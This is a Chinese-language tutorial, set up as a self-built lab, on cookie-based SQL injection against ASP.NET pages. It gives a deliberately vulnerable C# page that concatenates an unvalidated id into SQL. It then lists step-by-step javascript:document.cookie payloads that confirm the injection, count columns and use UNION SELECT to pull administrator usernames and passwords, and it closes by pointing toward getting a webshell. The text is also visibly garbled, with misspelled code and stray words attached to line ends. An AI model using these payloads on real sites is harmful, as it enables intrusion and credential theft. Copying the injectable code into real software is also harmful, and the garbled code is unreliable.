1、SQL注入原理javascript
我以aspx为例,如今咱们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,若是在代码中写成Request[“id”],这样的写法问题就出现了。我先普及下科普知识,在aspx中Request.QueryString[“id”]用于接收get提交的数据,Request.Form[“id”]用于接收post提交的数据。若是不指定使用QueryString仍是Form接收数据,WEB服务是怎样读取数据的呢,他是先取GET中的数据没有取到,再取POST中的数据若是尚未,在去取Cookies中的数据。这样Cookie注入就产生了。java
2、测试环境sql
ASP.NET+SQL servershell
ASP.NET代码:数据库
Aspx文件有两个。浏览器
Default,aspx页面代码cookie
protected void page Load(object sender,EwentArgs e)post
{测试
string id=Request{"id"}.ToString();url
string connuser=@"Data Source=;lnitial
Catalog=CookieDemo;lntegrated Sccurity=True";
string xx=Server.UrlDecode(id);
steing sql="select*from Cookie where id="=xx
SqlConncction conn=new
SqlConnection(connuser);
conn Open();
Sqlcommand comm""new
Sqlcommand(sql,conn);
SqlDataReader datare=comm,ExecureReader();
while(datare.Read())
{
Response.Write(datare{"name"}
}
conn.Close();
}
Test页面代码
<body>
<form id = "forml"runat="server">
<div>
<a href="test.aspx?id=2">Cookie测试</a>
</div>
</form>
</body>
数据库:
数据库建库建表代码我就不写出来了,为了节省点版面。
3、实战演习
咱们先访问Default.aspx。点击“Cookie测试”跳转到test.aspx?id=2页面,参数为id值为“2”,test.aspx页面中显示出了数据库中id为“2”相应的值。
如今咱们把地址栏中的?id=2删除掉就成了,而后在浏览,出错了。
返回了错误页面什么数据也没有,这是必然的学过脚本语言的同窗很容易理解这个问题,咱们没有在浏览器传达id的值,因此Request在接收id的值的时候就什么也没有获取到。这样sql语句就会出现错误,必然会返错误页面,如今咱们在把地址栏中的url删除掉,在地址栏输入“javascript:alert(document.cookie="id="+escape("3"));”浏览一下弹出个提示框。
如今咱们在来访问一下这个不带参数的连接,就出来了id=3的相应的值。
为了方便不懂javascript的朋友我简单介绍下。
javascript:alert(document.cookie="id="+escape("3"));的意思,我说明一下document.cookie="id="+escape("3")就是把3保存到Cookies的id中。这样在过滤了Form,QueryString提交而没有过滤Cookie的时候,就可以Cookie注入了…基本原理就是这些了,如今实战操做下……
在地址栏输入“javascript:alert(document.cookie="id="+escape("3 and 1=1¨))”提交一下,而后在在刷新下页面出现了id=3的数据。而后在地址栏输入“javascript:alert(document.cookie="id="+escape("3 and l=2"))”浏览一下弹出如今在刷新下页面出现了空白页面。
两次返回不同证实能够注入,我用Cookie注入演示怎么爆破出管理员帐号密码,和常规的sql注入同样只不过是要用到Javascript,仍是先判断字段而后在地址栏输入“javascript:alert(document.cookie="id="+escape("3 order by 2"))”提交之后刷新返回正常。
而后在地址栏输入“javascript:alert(document.cookie="id="+escape("3 0rder by 3"))”,返回错误。
肯定字段数为2个javascript:alert(document.cookie="id="+escape("3 union select l,'2'"))。而后刷新就爆破出了数字2相应的位置。我本身搭建的环境测试,就不猜表了admin表是管理员表,表中有id,username,pass这3个字段,在真实的渗透中这些是须要本身去猜的。如今咱们提交javascript:alert(document.cookie="id="+escape("3 union select 1,username from admin"))后刷新就爆破出了用户名。而后输入javascript:alert(document.cookie="id="+escape("3 union select 1,pass from admin"))刷新下页面密码就出来了。
帐号密码都有了剩下的就是想办法后台拿Webshell了,因为我没有写后台测试页面,文章就到这了。这就是Cookie注入,但愿对你们有帮助,SEE YOU。